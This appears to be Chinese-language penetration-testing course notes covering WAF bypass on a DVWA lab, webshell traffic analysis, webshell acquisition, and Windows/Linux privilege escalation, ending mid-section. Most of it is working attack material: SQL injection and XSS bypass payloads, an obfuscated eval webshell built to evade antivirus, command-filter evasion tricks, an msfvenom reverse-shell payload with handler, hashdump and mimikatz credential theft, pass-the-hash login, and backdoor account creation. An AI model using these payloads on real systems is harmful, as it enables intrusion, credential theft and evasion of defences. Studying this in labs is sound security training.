Safe: 10-渗透测试进阶
- TAGS: Safe
WAF 绕过
主要内容:
- WAF 安装与配置
- WAF 绕过 SQL 注入及 XSS 攻击
- WAF 绕过文件上传
- WAF 绕过漏洞扫描
- WAF 绕过命令执行、绕过脚本免杀
- WAF 绕过其它安全性验证
web application firewall web 应用防火墙
使用环境 :Win7+phpStudy+安全狗
初级安全防护设备:
- 防火墙:网络层面防护,网络封堵、区域划分、访问控制
- IDS/IPS:入侵检测/入侵防护(Intrusion Detection System/Intrusion Prevention System),主机层防护。虽然IPS即可以入侵检测也可以入侵防护,但有的业务场景不需要入侵防护,所有会有IDS
- WAF:应用层防护
- AV:anti virus 防病毒
上面4个可以满足初级防护要求。
WAF安装与配置
如果用虚拟机,分别对有WAF环境和无WAF环境打快照,方便后面试验切换。
1、安装DVWA
首先 phpstudy 中卸载Nginx,避免站点以Nginx服务启动。 操作:默认是以mysql+nginx方式启动的,从软件管理中卸载nginx
源代码放到www目录 C:\phpstudy_pro\WWW\DVWA,操作:侧边栏网站点击管理,再打开根目录将DVWA目录拖进来
修改C:\phpstudy_pro\WWW\DVWA\config\config.inc.dist 为 config.inc.php,并编辑文件,修改数据库的账号密码均为root
修改配置文件 C:\phpstudy_pro\WWW\DVWA\php.ini
allow_url_fopen = On allow_url_include = On
以系统服务模式运行phpstudy,版本是php7.3.4,同步启动Apache服务
成功安装,登录dvwa http://xxxip/DVWA 默认密码为admin/password
系统初始化之后使用 SQL_Front 工具修改 dvwa 库下两个表的字符集校对为 utf8_general_ci ,防止后续出现乱码。操作:在phpstudy软件管理工具中安全数据管理工具SQL_Front,打开有报错不用管理,选择dvwa数据库中表右键属性修改。
测试注入
# SQL注入 1' and 1 = 1 # # XSS注入 <script>alert(1)</script>
2、安装安全狗(WAF)
官网下载最新版安全狗Apache版本 http://free.safedog.cn/ ,这里下载网站安全狗Apache版
如果安装安全狗提示没有apache服务或者是安装过程中识别不到apache服务
1.关闭apache程序及httpd.exe进程 2.运行 cmd,进入 apache/bin 目录, 执行 .\httpd.exe -k install -n apache2.4.39 # apache bin 目录位置可通过 phpstudy - 设置 - 文件位置 - apache 中找到 之后在 任务管理器-服务 中可以看到对应的 apache2.4.39 服务
首先查看本地服务,看其中是否有apache服务:
- 搜索框输入 service ,打开"查看本地服务"
- 未看到apache服务
- 先在 phpstudy 上停止 apache 服务
- 进入 phpstudy 的 apache bin目录 C:\phpstudy_pro\Extensions\Apache2.4.39\bin
管理员打开 cmd
cd C:\phpstudy_pro\Extensions\Apache2.4.39\bin # 安装和启动apache服务 .\httpd.exe -k install -n apache2.4.39 # 再查看本地服务,就可以看到apache服务了 搜索框输入 service ,打开"查看本地服务" # 点击左侧"启动此服务"
apache服务启动以后,不要调整也不要关闭phpStudy,直接安装安全狗
确定,填写服务名:apache2.4.39(注意是a是小写,从任务管理器里面看服务名)
安装完成
打开桌面上的安全狗图标,发现已经开启了防护功能(提前注册账号)
若遇到防护不生效的问题,可点击此处(网站安全狗插件)卸载所有插件再重新安装
常见的 WAF 拦截页面
https://www.wangan.com/p/11v71302b8c5ab87
可以从网上找到对应产品绕过手法。
强调:手法不重要,重要是的绕过思路。
绕过的关键:
- 让关键字变得复杂
- 不改变其语义
WAF绕过SQL注入
工具无法完成逻辑推导过程。
sqlmap 无防护的情况下:
有防护的情况下,sqlmap无法直接跑出数据(可能无法拦截新版本的sqlmap注入):
尝试无防护手注,1' and '1'='1返回正常
1' and '1'='2无返回
开启安全狗防护
1、绕过普通注入
1' and '1'='1被拦截
尝试绕过安全狗策略
# 尝试替换注释 1' and '1'='1 # 被拦截 1' and '1'='1 -- 被拦截 1' and '1'='1 -- - 被拦截 1' # 没有被拦截 安全狗不拦截井号,尝试其它关键字 # 尝试替换 and 1' /*!and*/ '1'='1 # 被拦截 1' /*!11445and*/ '1'='1 # 绕过
内联注释:是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!…/中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别。
/*!11445*/
表示版本号;从00000~99999 ,需要小于mysql的版本;
例如:mysql 5.6 ,则版本号需要小于 56000 才能执行成功
这个版本号有很多可以多尝试几个,这个原理就是在mysql数据库当中/*!加上指定的版本号来执行sql语句:
mysql官方文档:https://dev.mysql.com/doc/refman/8.1/en/comments.html
1'/*!11445and*/'1'='1
尝试绕过,内联注释成功绕过。
2、绕过联合注入
用burp抓包或者浏览器插件hackbar中添加以下内容:
先用order by 判断列数
1' order by 1–+ 被拦截。+号在url中解析为空格
http://124.222.171.19:8080/vulnerabilities/sqli/?id=1' group by 1 --+&Submit=Submit#
利用group by直接绕过:1' group by 2–+
1' group by 3–+ 报错,知道有2列,则查询2列
1' union select 1,2–+ 被拦截
先来了解一下 regexp(正则函数),在数据库中执行
use dvwa mysql> select user from users where user like 'a%'; # 查询结果中user包以a为开头的值 +-------+ | user | +-------+ | admin | +-------+ mysql> select user from users where user regexp 'a'; # 查询结果中user值包含a字符串的值 +-------+ | user | +-------+ | admin | | pablo | +-------+
mysql> select user from users where user_id =1 regexp "%0A%23"; # %0A 换行,%23 代表#号
利用下列语句绕过,在参数后插入其他语句,添加注释,然后使用截断,使用%23使得语句报错,将双引号直接注释
1' regexp "%0A%23" /*!11144union %0A select */1,2--+ # 没有哪条数据能匹配换行和#的,目的为了让sql语句变得复杂 # union select 会被安全狗拦截,所以这里加了 %0A 表示换行
尝试获取database(),发现被拦截
1' regexp "%0A%23" /*!11144union %0A select */database(),2--+
再次使用內联注释绕过
?id=-1' regexp "%0A%23"/*!11144union %0A select*/ 1,database(%0A /*!11144*/)--+
成功注入出数据库名为dvwa
同理,注入出user()为root@localhost
user()被拦截
内联注释绕过
-1' regexp "%0A%23"/*!11144union %0A select*/ user(%0A /*!11144*/),database(%0A /*!11144*/)--+ # 1 改成 -1 是为了在显示位不足时,让 union 的左边查不出来,把页面的显示位留给右边的查询内容。
尝试获取所有的库名,发现information_schema.schemata被拦截
-1' union /*//--/*/ select 1,group_concat(schema_name) from information_schema. /*//--/*/ schemata --+
使用环境
docker pull citizenstig/dvwa
使用上面的docker环境,可以在前后端同时进行测试验证,再次进行绕过获取所有库名
-1' union /*!--+/*%0aselect/*!1,*/ group_concat(schema_name) /*!from*/ /*!--+/*%0ainformation_schema./*!schemata*/ --+ # mysql 本身支持这种写法,不用管/*! /*有没有闭合
在数据库中进行执行
mysql> select user,password from users where user_id = '-1' union /*!-- /* -> select/*!1,*/ group_concat(schema_name) /*!from*/ /*!-- /* -> information_schema./*!schemata*/; -- '; +------+--------------------------------------------------+ | user | password | +------+--------------------------------------------------+ | 1 | information_schema,dvwa,mysql,performance_schema | +------+--------------------------------------------------+ 1 row in set (0.00 sec) # 按向上方向键 # mysql 本身支持这种写法,不用管/*! /*有没有闭合 mysql> select user,password from users where user_id = '-1' union /*! select/*!1,*/ group_concat(schema_name) /*!from*/ /*!information_schema./*!schemata*/; +------+--------------------------------------------------+ | user | password | +------+--------------------------------------------------+ | 1 | information_schema,dvwa,mysql,performance_schema | +------+--------------------------------------------------+ 1 row in set (0.00 sec)
获取dvwa库里面所有的表名
-1' union /*!--+/*%0aselect/*!1,*/ group_concat(table_name) /*!from*/ /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='dvwa' --+
得到表:guestbook,users
获取users表里面的所有字段
-1' union /*!--+/*%0aselect/*!1,*/ group_concat(column_name) /*!from*/ /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
在数据库中执行
获取到字段名为:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
注入出账号密码
-1' union /*!--+/*%0aselect/*!1,*/ group_concat(concat_ws(0x7e,user,password)) /*!from*/ dvwa.users --+
在数据库中执行
md5解密发现账号密码为:admin/password
sql绕过小结
- 在原始语句上不断加入换行、空格、内联注释、sql其它写法
WAF绕过XSS攻击
测试环境:DVWA+安全狗
直接输入script语句被拦截
<script>alert(1)</script>
利用base64编码即可绕过
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIHRlc3QiKTs8L3NjcmlwdD4="
利用svg标签进行绕过; <svg> 标记定义 SVG 图形的容器。
<svg/onload=alert(1)>
绕过思路:
- 不要使用script标签,要使用script以外的其他标签
- 尽量使用事件来触发弹窗
- 尽可能多的掌握一些html标签,并用能知道标签可以使用哪些事件
WAF绕过文件上传
dvwa 低等级,无防护情况下,可以直接上传 info.php 文件成功
开启安全狗防护,无法上传
使用抓包工具分析流量
waf拦截过程推导:
- 文件名后缀:php后缀名是waf拦截的原因
- 文件内容:waf不基于文件内容进行检测和拦截
- 文件类型:waf不基于文件类型进行检测和拦截
利用双写filename=;进行绕过
数据包中双写filename=;进行绕过
filename=;filename="one.php"
利用无用文件头绕过
在请求体前面添加大量无用数据(注意要和请求头空一行),消耗waf检测时间实现绕过
利用分块传输绕过
分块传输原理:
把一个完整的数据包分成几块向后端进行传输,后端接收到后还原成一个完整的数据包。
waf没有组合或者拼接数据包的能力。
安装分块传输的burp插件 chunked-coding-converter-0.4.0.jar
找到burp的Extender选项卡
点击add
点击select
将插件的jar包导入即可
对post数据包进行分块传输
右键选择 Extensions –> Chunked coding converter 0.4.0 –> Chunked coding converter –> Encoding request body 把请求体重新做一次编码
成功绕过安全狗上传webshell
注意:针对最新的安全狗,该绕过方法已失效。
绕过内容检测
普通一句话木马上传成功后访问被拦截
http://ip/dvwa/hackable/uploads/one.php
上传免杀一句话,让执行恶意代码的特征不那么明显
<?php $name = $_GET[1]; $name = substr($name,0); eval("echo 123;" . $name."echo 456; " ); ?>
利用免杀一句话木马成功执行命令
http://10.0.0.152/DVWA/hackable/uploads/abc.php?1=system("whoami");
利用00截断绕过
burp抓包工具
上传文件,将文件名称改为one.php;.jpg
在Hex16进制中把3b修改成00,这样前端还认为是jpg文件但到了后端00截断为了php文件
回到raw选项卡发包,上传成功
WAF绕过漏洞扫描
通常在实战中,当我们需要进行漏洞扫描的时候,常常被WAF产品拦截,导致扫描结果不可用,出现很大的误报,这时候需要采取WAF绕过扫描。
触发WAF的原因:
1、漏扫线程过大被封禁
解决方法:延时,低线程,使用代理池,白名单扫描
2、工具指纹被WAF识别被封禁
解决方法:指纹特征修改,模拟用户漏扫
3、漏洞单点payload特征被WAF识别封禁
解决方法:数据变异绕过,多种工具集合扫描尝试
扫描器在实战中更多是起到隐藏流量的作用,我们可以利用扫描器制造巨大的流量,中间再发起精心设计好的payload。
WAF绕过漏洞扫描实践
1、使用代理池 https://www.kuaidaili.com/
2、更换user-agent
有些扫描工具的UA是固定的,且存在特征。
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko) Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
3、修改漏扫特征指纹
4、降低线程,扫描敏感度,使用流量代理转发
5、使用冷门工具代替常见漏扫工具
WAF绕过命令执行,绕过脚本免杀
WAF绕过命令执行
常见的命令执行函数
system() #输出并返回最后一行shell结果 exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里 passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上 popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针 shell_exec() #通过shell执行命令并以字符串的形式返回完整的输出 反引号 #本质是使用shell_exec()函数
命令分隔符
Windows: && || & | Linux: && || & | ; 分号;在shell中担任连续指令的功能
截断符号
$ ; | & - ( ) { } 反引号 || && %0a #有时可当空格使用
Linux命令执行绕过
1、绕过空格
${IFS} $IFS$9 #$9可改成$加其他数字 < <> #重定向符 {cat,flag.php} #用逗号,实现了空格功能
范例:
[root@c5 ~] eth0 = 10.0.4.12 # cat<a.txt abc def HHH [root@c5 ~] eth0 = 10.0.4.12 # cat${IFS}a.txt abc def HHH [root@c5 ~] eth0 = 10.0.4.12 # {cat,a.txt} abc def HHH [root@c5 ~] eth0 = 10.0.4.12 # cat<>a.txt abc def HHH
2、拼接
#在linux系统中,文件名拆分 a=g;cat fla$a.php a=fl;b=ag.php;cat $a$b #在php的ping环境中 ip=;a=g;cat fla$a.php ip=;a=fl;b=ag.php;cat $a$b
范例:
# a=fl;b=ag.php;cat $a$b abc def HHH
3、编码
$(echo "Y2F0IHRlc3QudHh0"|base64 -d)
范例
# echo "Y2F0IHRlc3QudHh0"|base64 -d cat test.txt # $(echo "Y2F0IHRlc3QudHh0"|base64 -d) abc def HHH
4、单引号、双引号绕过
cat te''st.txt cat te""st.txt c''at te''st.txt c""at te""st.txt
范例:
# c""at te""st.txt abc def HHH
5、反斜杠绕过
cat te\st.txt c\at te\st.txt
# c\at te\st.txt abc def HHH
6、通配符绕过
cat /etc/pass*
Windows下同理:如当命令执行被拦截的时候需要进行绕过,如whoami被拦截可以尝试如下进行绕过
w"h"o"a"m"i "w"h"o"a"m"i" "w"h"o"a"m"i w"h"o"a"m"i" who^ami wh""o^a^mi wh""o^a^mi ((((Wh^o^am""i)))) (Wh^o^am""i) (Whoami)
或者
set a=who set b=ami %a%%b% //正常执行whoami call %a%%b% //正常执行whoami
范例:
C:\Users\jasper>w"h"o"a"m"i jasper\jasper C:\Users\jasper>who^ami jasper\jasper C:\Users\jasper>((((Wh^o^am""i)))) jasper\jasper C:\Users\jasper>(Whoami) jasper\jasper #---- C:\Users\jasper>set a=who C:\Users\jasper>set b=ami C:\Users\jasper>%a%%b% jasper\jasper C:\Users\jasper>call %a%%b% jasper\jasper
WAF绕过脚本免杀
下载最新D盾查杀工具 https://www.d99net.net/
将一句话木马拖入D盾进行查杀,发现后门级别为5,说明是eval后门,在实战中经常被杀
尝试对脚本进行免杀处理
<?php $name = $_GET[1]; $name = substr($name,0); eval("echo 123;" . $name."echo 456; " ); ?>
免杀过最新版D盾2.1.7.2
上传到服务器证明可用
利用passthru(whoami);绕过防护
http://ip/dvwa/hackable/uploads/bypass.php?1=passthru(whoami);
WAF绕过其他安全性验证
- WAF封锁IP,使用代理池进行绕过
- WAF防止端口扫描,使用低线程进行缓速扫描
- WAF封闭外网敏感端口,通过web进行流量代理 等等
webshell 后门分析
主要内容:
- 代码层面后门分析
- 菜刀后门分析
- 网络层面后门分析
代码层面后门分析
通过文件上传漏洞上传webshell
访问webshell地址:http://192.168.85.188/dvwa/hackable/uploads/one.php
可以通过post传参来执行命令,test=system("whoami");
为什么可以通过post传参来执行系统命令呢?
分析一句话webshell的代码:
<?php @eval($_POST[test])?> #说明 <?php ?> 是php语言的格式,eval将括号内的字符串解析为php代码; $_POST[test] 为获取post参数test的值; @是抑制符号,屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。
该一句话木马的意思是:在post参数中test后面的值都会当作php的代码来执行。
当我们传入system("whoami"),会被当作php代码直接执行,system是php的命令执行函数,所以直接执行了whoami命令,显示出来:
防御方法:
- 过滤掉所有能执行命令的函数
菜刀后门分析
中国菜刀:一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理。支持php 5.X之前的版本
WSExplorer:一款网络抓包工具,可以监控服务器上指定软件/进程的通信,能看到指定软件/进程的通信行为,比如什么时候/什么顺序与哪个地址/端口进行了通信,发送了什么内容。可以对数据包内容进行二进制和明文转换,对于一些不加密的数据包甚至可以直接看到明文内容。
打开菜刀链接Webshell
打开WSExplorer
选择菜刀进程chopper.exe
进入菜刀界面操作,WSExplorer会捕获到数据包
正常来说地址都是192.168.85.188,如果出现了可疑的其他服务器地址,就很有可能存在后门
分析数据包:
POST /dvwa/hackable/uploads/one.php HTTP/1.1 Cache-Control: no-cache X-Forwarded-For: 15.81.203.20 Referer: http://192.168.85.188 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: 192.168.85.188 Content-Length: 628 Connection: Close test=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2B fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1Rb InoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQs MCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVt KCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8 PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgIkM6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXV1xEVl dBXGhhY2thYmxlXHVwbG9hZHNcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0%3D
对z0的值进行url解码
然后继续base64解码得到明文:
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);e cho("- >|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($ _SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \" {$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?" ret={$ret} ":"";;echo("|<-");die();&z1=cmd&z2=cd /d "C:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\"&whoami&echo [S]&cd&echo [E]
发现
z1=cmd z2=cd /d "C:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\"&whoami&echo [S]&cd&echo [E] 该语句意思为进入C:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads目录执行cmd命令 whoami,并且输出。这就是中国菜刀的流量通信的特征。
针对交互的流量包进行逐个分析,如果在这些特征中出现了可疑的IP地址或者服务器地址,就很有可能存在后门,比如:
网络层面后门分析
打开Wireshark,选择VMware net8网卡,进行数据包捕获:
使用上传漏洞获取Webshell,并利用蚁剑继续连接,执行命令
通过语法过滤进行分析:
ip.dst == 192.168.85.150 && http –> 查询目的IP是192.168.85.150并且协议是http的流量包
右击数据包,追踪TCP流,即可发现蚁剑执行命令
红色的是请求内容,蓝色为响应内容
通过wireshark分析流量包找到具备攻击特征的流量,是有命令执行特征的,从而发现这是一个攻击行为。
实际工作中流量监控分析也是这样的,只不过在工作中我们更多的是依赖商业化的流量监控设备或者软件,如态势感知设备、流量分析设备等。
webshell 获取思路总结
主要内容:
- 获取 webshell 方法总结
流量包
SQL注入漏洞
环境:phpstudy2018
截取SQL注入数据包
- 判断注入点
- 判断有几列
- 使用联合注入查出库名
http://192.168.85.150/dvwa/vulnerabilities/sqli/?id=1%27+order+by+2--+&Submit=Submit#
前提:知道绝对路径,mysql 配置文件设置secure_file_priv为空,允许导入导出
写入webshell
http://192.168.85.150/dvwa/vulnerabilities/sqli/?id=1' union select 1,'<?php phpinfo();?>'into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\mysql2.php'-- +&Submit=Submit#
文件上传漏洞
前面做了很多此类操作,如果很熟悉可跳过。
/hackable/uploads/one.php
访问webshell:http://192.168.85.188/dvwa/hackable/uploads/one.php
命令执行漏洞
dvwa 命令注入
127.0.0.1 && whoami
利用echo命令写入webshell
截取数据包:
127.0.0.1 && dir
查看目录为 C:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\exec
尝试写webshell到C:\phpStudy\PHPTutorial\WWW\DVWA目录
127.0.0.1 && echo ^<?php @eval($_POST[test]);?^>>C:\phpStudy\PHPTutorial\WWW\DVWA\a.php
查看C:\phpStudy\PHPTutorial\WWW\DVWA目录,发现webshell写入成功
dir C:\phpStudy\PHPTutorial\WWW\DVWA
访问webshell,成功执行
蚁剑成功连接
其他通用的RCE漏洞
比如:
thinkphp远程代码执行
phpcms任意文件上传
dedecms远程代码执行
南方数据cms备份getshell
phpmyadmin后台获取webshell等等
万变不离其宗,原理依然是靠SQL注入,代码执行,命令执行。
Windows/Linux 权限提升
主要内容:
- Windows 提权前期相关事项
- Windows 提权常用命令
- Windows 提权实战、提权防范
- Windows 提权后期密码安全性测试
- Linux 权限提升及提权必备命令学习
- Linux 脏牛提权及 SUID 提权
提权思路:
利用漏洞 –> 遇到waf –> 绕过waf –> 获取webshell –> whoami: 普通用户 –> 想要系统权限 –> 提权
Windows提权前期相关事项
明确事项:
- 明确漏洞编号及版本
- 明确漏洞利用平台及版本
- 确保cmd执行权限正常运行
- 明确服务器相关防护软件情况
systeminfo查看系统补丁:一般的,如果网站安全做好的的情况下,会有几百个补丁
Windows提权常用命令
whoami 查看当前权限 ipconfig 查看服务器为内网还是外网 quser 查看管理是否在线 systeminfo 查看服务器信息及相应的补丁,可找相应的补丁提权 tasklist 查看当前运行的进程,是否有av,可利用的第三方的服务提权等 net user 查看用户 net user admin adqqq7! /add 添加账户 net localgroup administrators admin /add 将admin这个用户加到管理组 net user guest /active:yes 激活guest账户 net user administrator 123456 设置用户密码 net user admin /del 删除admin账户 tasklist /svc 查看进程服务 tasklist /m dll 查看调用某个dll的进程 tasklist /v 显示当前进程和进程用户 qwinsta 显示会话情况 net config workstation 查看当前登陆用户信息 hostname 主机名 set 查看环境变量 net view 显示当前域或工作组中计算机的列表 net statistics workstation 查看主机开机时间 net share 查看共享文件夹 乱码使用chcp 437即可 查看3389是否开启,0x0为开,0x1为关 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections
win2012通用,win7开启3389:
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfSingleSessionPerUser /t REG_DWORD /d 0 /f
windows server2008开启3389:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections /t REG_DWORD /d 00000000 /f
windows server 2003,windws XP开启3389
wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
Windows提权实战
环境:Win7(admin用户)+ Kali Linux
通过文件上传漏洞成功上传一句话木马
蚁剑连接:http://192.168.85.188/dvwa/hackable/uploads/one.php
攻击思路:使用msf生成一个exe后门,通过 Webshell 上传并执行该后门程序
- 拿下webshell
- 利用msf制件后门程序
- 通过webshell上传后门程序
- kali开启监听
- 在靶机中运行后门程序
- 拿到meterpreter命令行,形成会话
- 再结合其他系统漏洞来实现提权
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.85.137 lport=5555 -f exe -o 5555.exe // lhost 需改成kali机器的IP msf监听端口 msfconsole use exploit/multi/handler options set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.85.137 set lport 5555 run
上传5555.exe到Webshell
Webshell直接执行5555.exe,通过虚拟终端直接运行
即可得到meterpreter会话
得到一个meterpreter会话之后,getuid发现为admin权限(保证用admin启动的phpstudy)
backgroud,将会话放入后台
利用sessions查看会话
sessions -i 3 进入metepreter
run post/windows/gather/enum_patches 查看补丁信息
run post/multi/recon/local_exploit_suggester 查询哪些提权exp可以用
发现ms16-014可用,background
search ms16-014
或者用 ms15_051_client_copy_image
发现序号为1的是可用的exp
use 1
show options 发现需要设置session
设置session为3,exploit执行
set session 3
成功返回meterpreter,getuid发现成功提权至system权限
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
shell进入cmd的shell,执行whoami,为system权限
乱码使用chcp 437即可
Windows提权后期密码安全性测试
1、利用run hashdump或者hashdump进行dump服务器hash值
用户名:xxx:LM哈希:NTLM哈希(用户密码):::
解密1ced49662211f8194549a7b355a5e211即可获得管理员账号密码,通常为cmd5加密
2、利用mimikatz获取管理员账号密码
load kiwi,加载kiwi模块
help kiwi,查看kiwi帮助
creds_all,列举系统明文密码
kiwi_cmd可以使用mimikatz的全部功能,比如kiwi_cmd sekurlsa::logonpasswords获取明文密码
3、当hash解密不出来的时候,可以利用hash来直接远程登录
注意:以Win7或者Win XP作为靶机时攻击失败,建议使用Windows server 2012作为靶机进行测试
use exploit/windows/smb/psexec set RHOSTS 192.168.85.150 set SMBUser administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:1ced49662211f8194549a7b355a5e211 exploit
成功利用hash值获得会话,返回system权限
Linux权限提升及提权必备命令学习
Linux提权寻找exp:
- https://www.exploit-db.com/
- http://metasploit.com/modules/
- http://securityreason.com
- http://seclists.org/fulldisclosure/
- http://www.google.com
- -http://www.securiteam.com-
- -http://www.securityfocus.com-
- -http://www.exploitsearch.net-
用户信息相关命令:
id whoami who w last cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/
列出超级用户:
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' awk -F: '($3 == "0") {print}' /etc/passwd cat /etc/sudoers sudo -l
查看操作系统版本:
cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian cat /etc/redhat-release # Redhat
查看内核版本:
cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz-
查看环境变量:
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
查看正在运行的程序及对应的用户权限:
ps aux ps -ef top cat /etc/services
查看ROOT权限运行的进程:
ps aux | grep root ps -ef | grep root
查看安装软件:
ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archives ls -alh /var/cache/yum/
查看服务的配置文件:
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/apache2/apache2.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
查看计划任务:
crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /var/spool/cron/crontabs/root cat /etc/crontab
查找明文账号密码:
grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
查看支持哪些语言:
find / -name perl* find / -name python* find / -name gcc* find / -name cc
查看可上传方式:
